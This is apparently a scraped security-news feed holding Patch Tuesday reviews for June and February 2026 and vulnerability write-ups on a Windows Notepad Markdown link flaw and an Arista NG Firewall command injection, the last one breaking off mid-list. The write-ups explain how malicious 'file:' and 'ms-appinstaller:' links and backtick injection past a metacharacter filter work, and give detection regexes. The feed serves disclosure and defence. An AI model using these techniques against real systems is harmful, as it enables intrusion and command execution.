CVE-2026-42968 Windows Telephony Server Information Disclosure Vulnerability Important 5.5 No No 2 Info
CVE-2026-42912 Windows Telephony Service Elevation of Privilege Vulnerability Important 7 No No 2 EoP
CVE-2026-45597 Windows UI Automation Manager (uiamanager.dll) Elevation of Privilege Vulnerability Important 7 No No 3 EoP
CVE-2026-45599 Windows UPnP Device Host Remote Code Execution Vulnerability Important 8.1 No No 2 RCE
CVE-2026-45635 Windows UPnP Device Host Remote Code Execution Vulnerability Important 8.1 No No 2 RCE
CVE-2026-40409 Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-40404 Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-42989 Winlogon Elevation of Privilege Vulnerability Important 7.8 No No 1 EoP

* Indicates this CVE had been released by a third party and is now being included in Microsoft releases.

† Indicates further administrative actions are required to fully address the vulnerability.

 

Looking at the other Critical-rated bugs in this release, the scariest-looking one is actually nothing to concern yourself with at all. The CVSS 10 bug in Azure HorizonDB has already been addressed by Microsoft and is just being documented now. That’s also the case for five others. Of course, there wouldn’t be a release without Office bugs that have the Preview Pane as an attack vector. There are multiple in June. There’s a handful of bugs in the Remote Desktop Client, but these rely on connecting to a malicious RDP server. There are three patches for Hyper-V that allow for guest-to-host code execution. The bug in Active Directory requires authentication, but any authenticated user can hit it. For the Windows Directory Service vulnerability, it needs to be listening for TFTP. You have blocked that everywhere, right? The bug in Azure Network Adapter is somewhat unique as you need to update your Linux kernel to be protected. The bug in Azure Kubernetes allows an attacker to break out of a container and gain control of the AKS worker node. Finally, the bug in the Kerberos Key Distribution Center (KDC) seems unlikely, but if exploited, it could allow authenticated attackers to get code execution on affected systems.

Moving on to the other code execution bugs, there are the ubiquitous open-an-own bugs in Office components like Excel and Word. The code injection bug in Exchange Server looks troubling, but it requires a machine-in-the-middle (MiTM), so exploitation is unlikely. The bugs in SharePoint require authentication, but you should note that the patch applies to both SharePoint Server 2016 and SharePoint Enterprise Server 2016. The two bugs in UPnP are interesting. Both can lead to code execution by causing an error during the handling of specially crafted data, which could lead to a Use After Free (UAF) bug. The bugs in RDP Client all require connecting to a malicious RDP server, but it’s not clear why some are rated Critical and some are rated Important. The NTFS vulnerability requires a user to mount a virtual hard drive on an affected system. The last RCE bug this month is in Azure Stack Edge and requires the attacker to send a specially crafted file upload request that includes a manipulated file name or path, leading to code execution.

There are more than 60 Elevation of Privilege (EoP) bugs in this month’s release, and as usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. A notable exception is in Exchange Server, where a user on Outlook Web Access (OWA) could gain access to other mailboxes. The bug in Visual Studio Code could allow attackers to gain permissions associated with the MCP Server’s managed identity. The bugs in Windows SDK and Windows UI Automation Manager could let attacker go from low integrity up to medium integrity code execution. The bug in Bluetooth just allows “elevated” privileges without really describing what elevated might be.

Moving on to the more than 20 security feature bypass (SFB) bugs in the June release, there are a total of 10 that impact Secure Boot. All carry scope change (S:C) in the CVSS, meaning successful exploitation affects security boundaries beyond the vulnerable component itself — specifically the ability to load untrusted code at boot, bypass Virtual Secure Mode, and undermine boot integrity guarantees. CVE-2026-45654 explicitly calls out VSM exposure. The bulk of these are credited to Alon Leviev (STORM), which is notable given his prior BootKitty/BlackLotus-adjacent research. The bugs in the Windows Boot Manager have a similar impact as the Secure Boot bugs. The UEFI Secure Boot vulnerabilities go a layer deeper. They require either local admin or physical access but could allow for the running of untrusted code even before the OS loads. Rootkits anyone? The four bugs in BitLocker all require physical access but could yield encrypted data if exploited. The bug in Windows Administration Protection allows attackers to bypass the feature that prevents standard-user apps from performing admin-level actions. The bug in Visual Studio Copilot Chat could be the most interesting non-boot bug here as it allows authentication impersonation. Mark of the Web (MotW) and Excel vulns could bypass user warnings. Lastly, the bug in PC Manager bypasses expected user controls.

Turning our attention to the mass of spoofing bugs in the release, we instantly see 18 impacting SharePoint Server. Fortunately, these are simply cross-site scripting (XSS) bugs. It’s the Exchange bugs we should really watch for. One is an XSS that an attacker can exploit by convincing an Exchange administrator to open a malicious link or message, which then runs code in the admin's web session. That's a meaningful privilege escalation path. Another is listed as an SSRF-based attack, but no other details are available. The last is a lower-impact XSS with limited confidentiality/integrity loss. The bug in Bing Search (remember Bing?) is a classic search result spoofing. The bug in Azure Stack Edge is interesting as it could allow access to resources outside the vulnerable component's security boundary. The bug in Office for Android requires user interaction. The Office Project Server bug is an authenticated XSS with low impact. The final spoofing bug is in Azure Attestation but has already been addressed. You should still verify you are protected by following the instructions in the write-up from Microsoft.

There are 30 different information disclosure bugs in this release, and fortunately, the vast majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. The two bugs in Visual Studio require user interaction and could “disclose information over a network.” How obtuse. The bug in GitHub Copilot and Visual Studio Code could disclose discloses a sign-in access token for a user's work account. That's a meaningful credential exposure, not just random memory. That leaves the two bugs in Exchange Server. One could allow an authenticated user to gain information about which network services that the Exchange server can reach. The other sounds much like the spoofing bug in OWA as it allows attackers to see information in mailboxes they should not have access to.

I’ve never been a fan of the “tampering” category, as it could mean so many different things. For example, the bug in .NET simply says it could allow an unauthorized attacker to perform tampering locally. Similarly, the bug in Visual Studio says the same, expect here the tampering occurs over a network. Microsoft doesn’t even bother with a CWE for the tampering bug in the DHCP Server, so your guess is as good as mine.

There are seven DoS bugs in the June release, and as usual, Microsoft provides little to no actionable information about the vulnerabilities. The most interesting is the bug in HTTP.sys, which is listed as publicly known. This is an uncontrolled resource consumption, rated "Exploitation More Likely," and publicly disclosed. Since, HTTP.sys sits at the core of IIS and Windows web services, a network-accessible DoS here can take down any Windows server running HTTP-based services. Based on the Acknowledgement, it looks like this bug may have been found using AI. There are no real details for the other bugs, but based simply on the impact, I would focus on the Kerberos and TCP/IP bugs if you had to prioritize.

No new advisories are being released this month.

Looking Ahead

The next Patch Tuesday will be on July 14 and will be the last one before Black Hat/DEFCON. It’s usually a big release, so strap in and hang on. I’ll be back then to give you my full thoughts. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!

 

]]> <![CDATA[Announcing Babylon.js 9.0]]> https://tsecurity.de/de/3694511/it-security-nachrichten/announcing-babylonjs-90/ https://tsecurity.de/de/3694511/it-security-nachrichten/announcing-babylonjs-90/ Sat, 25 Jul 2026 19:01:35 +0200 📰 IT Security Nachrichten tsecurity.de Our mission is to build one of the most powerful, beautiful, simple and open web rendering engines in the world. Today, we are thrilled to announce that mission takes a monumental leap forward with the release of Babylon.js 9.0.

https://www.youtube.

The post Announcing Babylon.js 9.0 appeared first on Windows Developer Blog.

]]> <![CDATA[CVE-2026-20841: Arbitrary Code Execution in the Windows Notepad]]> https://tsecurity.de/de/3694473/it-security-nachrichten/cve-2026-20841-arbitrary-code-execution-in-the-windows-notepad/ https://tsecurity.de/de/3694473/it-security-nachrichten/cve-2026-20841-arbitrary-code-execution-in-the-windows-notepad/ Sat, 25 Jul 2026 19:00:44 +0200 📰 IT Security Nachrichten tsecurity.de In this excerpt of a TrendAI Research Services vulnerability report, Nikolai Skliarenko and Yazhi Wang of the TrendAI Research team detail a recently patched command injection vulnerability in the Windows Notepad application. This bug was originally discovered by Cristian Papa and Alasdair Gorniak of Delta Obscura. Successful exploitation of this vulnerability could result in the execution of arbitrary commands in the security context of the victim's account. The following is a portion of their write-up covering CVE-2026-20841, with a few minimal modifications.

A remote code execution vulnerability has been reported in Microsoft Windows Notepad. The vulnerability is due to improper validation of links in Markdown files.

A remote attacker could exploit this vulnerability by enticing the victim to download and interact with a malicious file. Successful exploitation of this vulnerability could result in the execution of arbitrary commands in the security context of the victim's account.

The Vulnerability

Microsoft Windows comes with a default text-editing application called Windows Notepad. Historically, this application offered only minimal editing features. However, modern versions of Windows include an improved and extended Notepad by default. This new version supports multiple file formats, Markdown rendering, and Copilot-enhanced features.

Markdown is a lightweight markup language that allows users to create formatted text using a simple syntax. It is widely used for writing documents, blog posts, and README files. It supports a wide range of formatting options, including (but not limited to) headers, styled text, numbered and bulleted lists, and links. Markdown supports two main link formats: standard and inline. The standard link format is:

          [link-name](link/path)

When rendered, only the link text ("link-name") is shown to the user.

The inline links use the following format:

          <link/path>

When rendered, they are transformed into the equivalent standard link:

          [link/path](link/path)

A remote code execution vulnerability has been reported in Microsoft Windows Notepad. The vulnerability is due to improper validation of links when handling Markdown files.

When Notepad opens a file, if the application detects that the file requires special rendering (in this case, Markdown), the input file is tokenized. Tokenization in this context means splitting the raw file text into a sequence of small, recognizable pieces ("tokens") that the renderer can process one by one. Detection is performed based on the file extension. Only the ".md" extension was found to trigger Markdown rendering, as the application uses a fixed string comparison to determine whether Markdown should be rendered by calling sub_1400ED5D0(). Markdown files are rendered token by token.

Function sub_140170F60() handles clicking on links in Markdown files. It filters the link value, and passes it to ShellExecuteExW() call.

The filtering performed on the link is found to be insufficient, as it allows using malicious crafted protocol URIs, such as "file://" and "ms-appinstaller://", to execute arbitrary files in the security context of victim. ShellExecuteExW() uses the configured protocol handlers and may expose additional exploitable protocols depending on the system configuration.

A remote attacker could exploit this vulnerability by enticing the victim to download a malicious crafted Markdown file, open it, and click on a malicious link. Successful exploitation of this vulnerability could result in the execution of arbitrary commands in the security context of the victim's account.

Notes
‱ Files using the ".md" file extension are not registered to be opened by Notepad by default. However, when opened manually in Notepad, they are rendered as Markdown, which allows the vulnerability to be triggered.
‱ Any "\\" sequences are converted to "\" in the attacker-controlled link path prior to passing it to the ShellExecuteExW() call.

Source Code Walkthrough

The following code snippet was taken from Notepad.exe version 11.2508. Comments added by TrendAI researchers have been highlighted.

In sub_140170F60():

Detection Guidance

To detect an attack exploiting this vulnerability, the detection device must monitor and parse traffic on the following application protocols that can be used to deliver an attack to exploit this vulnerability:
‱ FTP, over ports 21/TCP, 20/TCP
‱ HTTP, over port 80/TCP
‱ HTTPS, over port 443/TCP
‱ IMAP, over port 143/TCP
‱ NFS, over ports 2049/TCP, 2049/UDP, 111/TCP, 111/UDP
‱ POP3, over port 110/TCP
‱ SMTP, over ports 25/TCP, 587/TCP
‱ SMB/CIFS, over ports 139/TCP, 445/TCP

The detection device must inspect traffic transferring a Markdown file with the file extension ".md". If such a file transfer is found, the detection device must search the file content for links.

The detection device must check whether the link paths contain the strings "file:" or "ms-appinstaller:".

If "file:" was found, the detection device must search the Markdown file contents using the following case-insensitive regular expression:

(\x3C|\[[^\x5d]+\]\()file:(\x2f|\x5c\x5c){4}

If "ms-appinstaller:" was found, the detection device must search the Markdown file contents using the following case-insensitive regular expression:

(\x3C|\[[^\x5d]+\]\()ms-appinstaller:(\x2f|\x5c\x5c){2}

If any of the regular expressions matches, the link contains a path to a remote resource. The traffic must be considered malicious; an attack exploiting this vulnerability is likely underway. This guidance should also detect the public PoC that was recently posted on GitHub.

Notes

‱  The string matches are case-insensitive.
‱  The detection guidance is based on the vendor-provided patch. However, the patch restricts the links to local-only files and HTTP(S) URIs, which may result in a huge number of false positives. Because of that, the detection guidance focuses on formats that may access and execute remote files. Due to that, it may result in false negatives.
‱  The vulnerable function uses the configured protocol handlers and may expose additional exploitable protocols depending on the system configuration.

Conclusion

This vulnerability was patched by Microsoft in the February 2026 release cycle. They note no workarounds but do list user interaction as a prerequisite to exploitation. To fully remediate the vulnerability, the proper action is to test and deploy the provided vendor patch.

Special thanks to Nikolai Skliarenko and Yazhi Wang of the TrendAI Research team for providing such a thorough analysis of this vulnerability. For an overview of TrendAI Research services please visit https://go.trendmicro.com/tis/vulnerabilities.html.

The threat research team will be back with other great vulnerability analysis reports in the future. Until then, follow the team on Twitter, Mastodon, LinkedIn, or Bluesky for the latest in exploit techniques and security patches.

]]> <![CDATA[The February 2026 Security Update Review]]> https://tsecurity.de/de/3694474/it-security-nachrichten/the-february-2026-security-update-review/ https://tsecurity.de/de/3694474/it-security-nachrichten/the-february-2026-security-update-review/ Sat, 25 Jul 2026 19:00:44 +0200 📰 IT Security Nachrichten tsecurity.de I have survived the biggest Pwn2Own ever, but I’m back in Tokyo for the second Patch Tuesday of 2026. My location never stops Patch Tuesday from coming, so let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:

Adobe Patches for February 2026

For February, Adobe released nine bulletins addressing 44 unique CVEs in Adobe Audition, After Effects, InDesign, Substance 3D Designer, Substance 3D Stager, Adobe Bridge, Substance 3D Modeler, Lightroom Classic, and the Adobe DNG Software Development Kit (SDK). The largest update here is for After Effects, which fixes 13 Critical and two Important rated bugs. The patch for Substance 3D Designer is on the larger side with seven fixes, but only two of those are Critical. On the other hand, the fix for Substance 3D Stager corrects five Critical-rated bugs that could lead to code execution. The Audition patch fixes six bugs, but only one is Critical.

The other patches are smaller in size. The fix for the Adobe DNG Software Development Kit (SDK) corrects two Critical and two Important-rated bugs. The InDesign patch fixes three bugs, but only one is Critical. The update for Adobe Bridge fixes two Critical bug that could lead to code execution. The patch for Lightroom Classic addresses a single Critical bug, and the release is wrapped up with a patch for Substance 3D Modeler that fixes a single, Important-rated memory link.

None of the bugs fixed by Adobe this month are listed as publicly known or under active attack at the time of release, and all of the updates released by Adobe this month are listed as deployment priority 3.

Microsoft Patches for February 2026

This month, Microsoft drops 58 new CVEs in Windows and Windows components, Office and Office Components, Azure, Microsoft Edge (Chromium-based), .NET and Visual Studio, GitHub Copilot, Mailslot FS, Exchange Server, Internet Explorer (!), Power BI, Hyper-V Server, and the Windows Subsystem for Linux. Counting the third-party and Chromium updates listed in the release, it brings the total number of CVEs to 62. One of the bugs in the Windows Graphics component was submitted through the ZDI program. Five of these bugs are rated Critical, two are rated Moderate, and the rest are rated Important in severity.

It’s typical to see this number of CVEs released in February, but the number of bugs under active attack is extraordinarily high. Microsoft lists six bugs being exploited at the time of release, with three of these listed as publicly known. Last month only had a single bug being exploited, although there were twice as many CVEs patched. We’ll see if we’re on our way to another “hot exploit summer” as we saw a few years ago or if this is just an aberration.

Let’s take a closer look at some of the more interesting updates for this month, starting with the bugs under active attack:

-    CVE-2026-21510 - Windows Shell Security Feature Bypass Vulnerability
This bug is listed as a security feature bypass, but it could also be classified as code execution. An attacker can bypass Windows SmartScreen and Windows Shell security prompts to execute code on a target system. This bug is also listed as publicly known, but Microsoft doesn’t say where. There is user interaction here, as the client needs to click a link or a shortcut file. Still, a one-click bug to gain code execution is a rarity. Definitely test and deploy this fix quickly.

-    CVE-2026-21514 - Microsoft Word Security Feature Bypass Vulnerability
This bug also requires user interaction in the form of opening a Word document, but that’s all that’s required to bypass protections to dangerous COM/OLE controls. Thankfully, the Preview Pane is not an attack vector here. However, users are well known to open lots of documents they receive in e-mail. This bypass could also result in code execution if the right COM/OLE control is hit. This is also listed as publicly known, so add this to the list to test and deploy quickly.

-    CVE-2026-21519 - Desktop Window Manager Elevation of Privilege Vulnerability
This is the second month in a row that a DWM was listed as being exploited in the wild. That leads me to believe the first patch didn’t completely resolve the vulnerability. Same as last month, this bug allows attackers to run code with SYSTEM privileges. Bugs of this type are typically paired with a code execution bug to take over a system. As always, Microsoft offers no indication of how widespread these exploits may be.

-    CVE-2026-21533 - Windows Remote Desktop Services Elevation of Privilege Vulnerability
Don’t let the word “Remote” in the title fool you – this is a local bug that allows attackers to run code with SYSTEM privileges. It’s interesting that Microsoft lists “Improper privilege management” as the root cause for this issue. If the system is running Remote Desktop Services, it’s probably a juicy target for attackers to move laterally after an initial breach. Add this one to the list of patches to test and deploy immediately.

-    CVE-2026-21513 - Internet Explorer Security Feature Bypass Vulnerability
Although long gone by many measurements, IE does still exist on Windows systems, and calling it always results in a vulnerability somehow. This bug manifests similarly to the Shell bug above, as it requires user interaction but could result in code execution. The bypass here is simply the ability to reach IE, which shouldn’t be possible. Again, test and deploy this fix quickly.

-    CVE-2026-21525 - Windows Remote Access Connection Manager Denial of Service Vulnerability
It’s unusual to see DoS bugs being used in active attacks, but that’s what we have here. A null pointer deref in the Windows Remote Access Connection Manager allows an unauthorized attacker to deny service locally. Most null pointer derefs cause the application or service to crash, but it’s not clear if it will automatically restart. I would exercise caution and patch quickly either way.

Here’s the full list of CVEs released by Microsoft for February 2026:

<![if supportMisalignedColumns]> <![endif]>
CVE Title Severity CVSS Public Exploited TYPE
CVE-2026-21514 Microsoft Word Security Feature Bypass Vulnerability Important 7.8 Yes Yes SFB
CVE-2026-21510 Windows Shell Security Feature Bypass Vulnerability Important 8.8 Yes Yes SFB
CVE-2026-21513 Internet Explorer Security Feature Bypass Vulnerability Important 8.8 Yes Yes SFB
CVE-2026-21519 Desktop Window Manager Elevation of Privilege Vulnerability Important 7.8 No Yes EoP
CVE-2026-21533 Windows Remote Desktop Services Elevation of Privilege Vulnerability Important 7.8 No Yes EoP
CVE-2026-21525 Windows Remote Access Connection Manager Denial of Service Vulnerability Moderate 6.2 No Yes DoS
CVE-2026-21511 Microsoft Outlook Spoofing Vulnerability Important 7.5 No No Spoofing
CVE-2023-2804 * Red Hat, Inc. CVE-2023-2804: Heap Based Overflow libjpeg-turbo Important 6.5 Yes No RCE
CVE-2026-24302 Azure Arc Elevation of Privilege Vulnerability Critical 8.6 No No EoP
CVE-2026-24300 Azure Front Door Elevation of Privilege Vulnerability Critical 9.8 No No EoP
CVE-2026-21532 Azure Function Information Disclosure Vulnerability Critical 8.2 No No Info
CVE-2026-21522 Microsoft ACI Confidential Containers Elevation of Privilege Vulnerability Critical 6.7 No No EoP
CVE-2026-23655 Microsoft ACI Confidential Containers Information Disclosure Vulnerability Critical 6.5 No No Info
CVE-2026-21218 .NET and Visual Studio Spoofing Vulnerability Important 7.5 No No Spoofing
CVE-2026-21512 Azure DevOps Server Cross-Site Scripting Vulnerability Important 6.5 No No XSS
CVE-2026-21529 † Azure HDInsight Spoofing Vulnerability Important 5.7 No No Spoofing
CVE-2026-21528 Azure IoT Explorer Information Disclosure Vulnerability Important 6.5 No No Info
CVE-2026-21228 Azure Local Remote Code Execution Vulnerability Important 8.1 No No RCE
CVE-2026-21531 Azure SDK for Python Remote Code Execution Vulnerability Important 9.8 No No RCE
CVE-2026-21251 Cluster Client Failover (CCF) Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-20846 GDI+ Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-21523 GitHub Copilot and Visual Studio Code Remote Code Execution Vulnerability Important 8 No No RCE
CVE-2026-21518 GitHub Copilot and Visual Studio Code Security Feature Bypass Vulnerability Important 6.5 No No SFB
CVE-2026-21257 GitHub Copilot and Visual Studio Elevation of Privilege Vulnerability Important 8 No No EoP
CVE-2026-21256 GitHub Copilot and Visual Studio Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-21516 GitHub Copilot for Jetbrains Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-21253 Mailslot File System Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-21537 † Microsoft Defender for Endpoint Linux Extension Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-21259 Microsoft Excel Elevation of Privilege Vulnerability Important 7.3 No No EoP
CVE-2026-21258 Microsoft Excel Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-21261 Microsoft Excel Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-21527 Microsoft Exchange Server Spoofing Vulnerability Important 6.5 No No Spoofing
CVE-2026-21260 Microsoft Outlook Spoofing Vulnerability Important 7.5 No No Spoofing
CVE-2026-21229 Power BI Remote Code Execution Vulnerability Important 8 No No RCE
CVE-2026-21236 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-21238 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-21241 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-21517 Windows App for Mac Installer Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-21234 Windows Connected Devices Platform Service Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-21235 Windows Graphics Component Elevation of Privilege Vulnerability Important 7.3 No No EoP
CVE-2026-21246 Windows Graphics Component Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-21232 Windows HTTP.sys Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-21240 Windows HTTP.sys Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-21250 Windows HTTP.sys Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-21244 Windows Hyper-V Remote Code Execution Vulnerability Important 7.3 No No RCE
CVE-2026-21247 Windows Hyper-V Remote Code Execution Vulnerability Important 7.3 No No RCE
CVE-2026-21248 Windows Hyper-V Remote Code Execution Vulnerability Important 7.3 No No RCE
CVE-2026-21255 Windows Hyper-V Security Feature Bypass Vulnerability Important 8.8 No No SFB
CVE-2026-21231 Windows Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-21239 Windows Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-21245 Windows Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-21222 Windows Kernel Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-21243 Windows Lightweight Directory Access Protocol (LDAP) Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-20841 Windows Notepad App Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-21249 Windows NTLM Spoofing Vulnerability Important 3.3 No No Spoofing
CVE-2026-21508 Windows Storage Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-21237 Windows Subsystem for Linux Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-21242 Windows Subsystem for Linux Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-1861 * Chromium: CVE-2026-1861 Heap buffer overflow in libvpx High N/A No No RCE
CVE-2026-1862 * Chromium: CVE-2026-1862 Type Confusion in V8 High N/A No No RCE
CVE-2026-0391 Microsoft Edge (Chromium-based) for Android Spoofing Vulnerability Moderate 6.5 No No Spoofing

* Indicates this CVE had been released by a third party and is now being included in Microsoft releases.

† Indicates further administrative actions are required to fully address the vulnerability.

 

Moving on to the Critical-rated bugs, the patch for Azure Front Door sounds frightening, but Microsoft has already fixed the bug and is just now documenting it. That’s also true for the bugs in Azure Arc and Azure Function. There are two Critical-rated bugs in the ACI Confidential Containers. The first allows a container escape while the second discloses secret tokens and keys. Either way, you’ll want to handle those quickly.

Taking a look at the other code execution vulnerabilities in this month’s release, we start with a frightening looking bug in Azure SDK for Python that has the highest CVSS this month of 9.8. A remote, unauthenticated attacker code gain code execution on an affected system via a maliciously crafted continuation token. It’s not clear why this isn’t rated Critical, but I would treat it as such. The three bugs in Hyper-V are actually local open-and-own bugs that require a user to open a malicious file on an affected system. That’s also true for the bug in Notepad. The bug in Power BI is confusing, because Microsoft says it requires authentication and could lead to an attacker running code as an authenticated user. There’s the poorly named “Azure Local Remote Code Execution Vulnerability”, but it requires a machine-in-the-middle (MitM) to exploit. The bug in Defender for Endpoint Linux is restricted to local subnets, but you’ll need to enable auto provisioning to get the patch. The final code execution bugs addressed this month are in GitHub Copilot. Two are command injections and the other is a Time-of-check time-of-use (toctou) race condition, but both could end up in code execution on affected systems.

Patches for Elevation of Privilege (EoP) bugs make up nearly 50% of this release, but most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges. There are only two of note. The first is a command injection bug in GitHub Copilot that leads to executing code at the level of the targeted application. The second is a bug in a kernel that leads to SYSTEM but could also be used for a sandbox escape.

There’s a unusually high number of spoofing bugs in this month’s release, and the ones for Outlook are the most troubling. First, the Preview Pane is an attack vector. Secondly, the bugs could be used to relay NTLM credentials via just an email, which could result in credential disclosure. And you’ll need multiple patches to fully address these bugs. At least they can be applied in any order.  There’s a UI misrepresentation bug in Exchange Server that could allow an attacker to either view some sensitive information or “make changes to disclosed information”. At what point does data become disclosed? That odd phrasing makes me think they are using AI to right some of their descriptions. The phrasing also appears in the patch for NTLM. That bug is triggered by opening a specially crafted Office doc, and while they explicitly say it could be used to relay NTLM creds, it sure seems that way. The patch for .NET and Visual Studio fixes a bug that allows attackers to bypass header validation, resulting in the service accepting a message it should reject. Finally, the bug in Azure HDInsight is really just a cross-site scripting (XSS) bug. The caveat here is that you need to restart Ambari server in both of the head nodes to have this fix updated. There is also an XSS in Azure Devops Server, but at least it is labelled as such.

There are a couple of additional security feature bypass bugs to discuss. The first is in Hyper-V and bypasses the Virtualization-based Security feature. The other is in GitHub Copilot and Visual Studio Code. It’s another command injection, but this one can be used to bypass authentication. Neat.

Looking at the remaining info disclosure bugs getting patched this month, most simply result in info leaks consisting of unspecified memory contents or memory addresses. The exception is the bug in Azure IoT Explorer. This bug could be used to view the contents of the target user’s local file system.

We end this month’s release with two DoS bugs: one in LDAP and one in GDI+. Neither descriptions from Microsoft provide any usable information.

No new advisories are being released this month.

Looking Ahead

I plan on being back home for the March release but wherever I’m at, you can rest assured that March 10, I’ll be here to provide my assessment of the release. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!

]]> <![CDATA[CVE-2025-6978: Arbitrary Code Execution in the Arista NG Firewall]]> https://tsecurity.de/de/3694475/it-security-nachrichten/cve-2025-6978-arbitrary-code-execution-in-the-arista-ng-firewall/ https://tsecurity.de/de/3694475/it-security-nachrichten/cve-2025-6978-arbitrary-code-execution-in-the-arista-ng-firewall/ Sat, 25 Jul 2026 19:00:44 +0200 📰 IT Security Nachrichten tsecurity.de In this excerpt of a TrendAI Research Services vulnerability report, Jonathan Lein and Simon Humbert of the TrendAI Research team detail a recently patched command injection vulnerability in the Arista NG Firewall. This bug was originally discovered by Gereon Huppertz and reported through the TrendAI Zero Day Initiative (ZDI) program. Successful exploitation could result in arbitrary command execution under the security context of the root user. The following is a portion of their write-up covering CVE-2025-6798, with a few minimal modifications.

A command injection vulnerability has been reported in Arista NG Firewall. The vulnerability is due to improper validation of user data in the diagnostics component.

A remote, authenticated attacker could exploit this vulnerability by sending crafted requests to the target server. Successful exploitation could result in arbitrary command execution under the security context of the root user.

The Vulnerability

Arista NG Firewall is an open-source firewall appliance. It was originally developed under the name Untangle. Some features of Arista Firewall include spam blocking, bandwidth control, and IPS, etc. NG Firewall can be managed through a web user interface, or a JSON-RPC API using HTTP.

HTTP is a request/response protocol described in RFCs 7230 - 7237 and other RFCs. A request is sent by a client to a server, which in turn sends a response back to the client. An HTTP request consists of a request line, various headers, an empty line, and an optional message body

where CRLF represents the new line sequence Carriage Return (CR) followed by Line Feed (LF). SP represents a space character. Parameters can be passed from the client to the server as name-value pairs in either the Request-URI, or in the message-body, depending on the Method used and Content-Type header. For example, a simple HTTP request passing a parameter named “param” with value “1”, using the GET method might look like:

A corresponding HTTP request using the POST method might look like:

If there is more than one parameter/value pair, they are encoded as '&'-delimited name=value pairs:

          var1=value1&var2=value2&var3=value3...

The component relevant to this report is the JSON-RPC endpoint. A JSON object has the following syntax:

‱            An object is enclosed in curly braces {}.
‱            An object consists of zero or more items delimited by a comma (",") character.
‱            An item consists of a key and a value. A key is delimited from its value by a colon (":") character.
‱            A key must be a string (enclosed in quotes).
‱            A value must be a valid type. Valid types include string, number, JSON object, array, Boolean, or null.
‱            An array is an object enclosed in square braces []. An array consists of zero or more string, number, JSON object, array, Boolean or null type-objects delimited by a comma (",") character.

An example JSON object is as follows:

The following is an example of a JSON-RPC request to the runTroubleshooting() method that is relevant to this report:

A command injection vulnerability has been reported in Arista NG Firewall. The vulnerability is due to improper validation of user data that is used in a command line. The runTroubleshooting() method of the class NetworkManagerImpl will be used to handle JSON-RPC requests to the runTroubleshooting method. The command parameter passed to the method will be the first element in the params JSON array in the body of the request. This value must be one of the strings in the TroubleshootingCommands enum defined in the NetworkManager class. The second parameter of the method will contain additional arguments passed to the JSON-RPC call.

The method will first iterate through each of the additional arguments and combine each key value pair into a single string, separated by a "=" character that will later be used as an environment variable. Next, a switch case statement is used to ensure the provided command is one of the values in TroubleshootingCommands. Each command value will be processed using the same code.

The method will next iterate through each environment variable, and inspect it for the following common command injection strings:

          ; & | > $(

If any are found, the request will be rejected, and an exception is thrown. If each environment variable is valid, the method execEvil() is called to create and execute a command line for the network-troubleshooting.sh script, with the environment variables passed as a parameter. The execEvil() method in turn will call Runtime.getRuntime().exec() to run the script, with the second parameter passing the environment variables that will be used by the script. Each command value will have a function in network-troubleshooting.sh, such as run_dns() for the “DNS” command value. Each function will follow a similar structure, by creating a CMD string using the environment variables passed by exec() and then calling eval to execute it.

However, the values of the parameters passed to the runTroubleshooting JSON-RPC method are not completely sanitized before it is used in the command line. While the parameters passed to the endpoint are inspected for some shell metacharacters, the list is incomplete. For example, the backtick character (`) is not included in the check and may be used to inject a command.

For example:

The example above will write and execute a python script on the server to achieve code execution without using any restricted characters.

A remote, authenticated attacker could exploit this vulnerability by sending a JSON-RPC request to the runTroubleshooting method containing a crafted “HOST” or “URL” parameter containing shell metacharacters not present in the runTroubleshooting() check. Successful exploitation in the worst case will result in arbitrary command execution under the security context of the root user.

Detection Guidance

To detect an attack exploiting this vulnerability, the detection device must monitor and parse traffic on the following ports:
          - HTTP, over port 80/TCP
          - HTTPS, over port 443/TCP

Traffic to Arista NG Firewall may be encrypted and must be decrypted prior to applying this guidance.

The detection device must search for HTTP POST requests made to the request-URI /admin/JSON-RPC. If found, the body of the request must be parsed as JSON. The JSON object in the body must be inspected for a method key, and its value must be inspected to contain the substring runTroubleshooting. If found, the object must also be inspected for the JSON key "params", with a value containing a JSON array. The first entry in the JSON array must be inspected for any of the following strings:

If found, the second entry in the array must be inspected for a JSON object, and inspected for any of the following keys:

If either is found, the corresponding value to the key must be inspected for any of the following command injection characters:

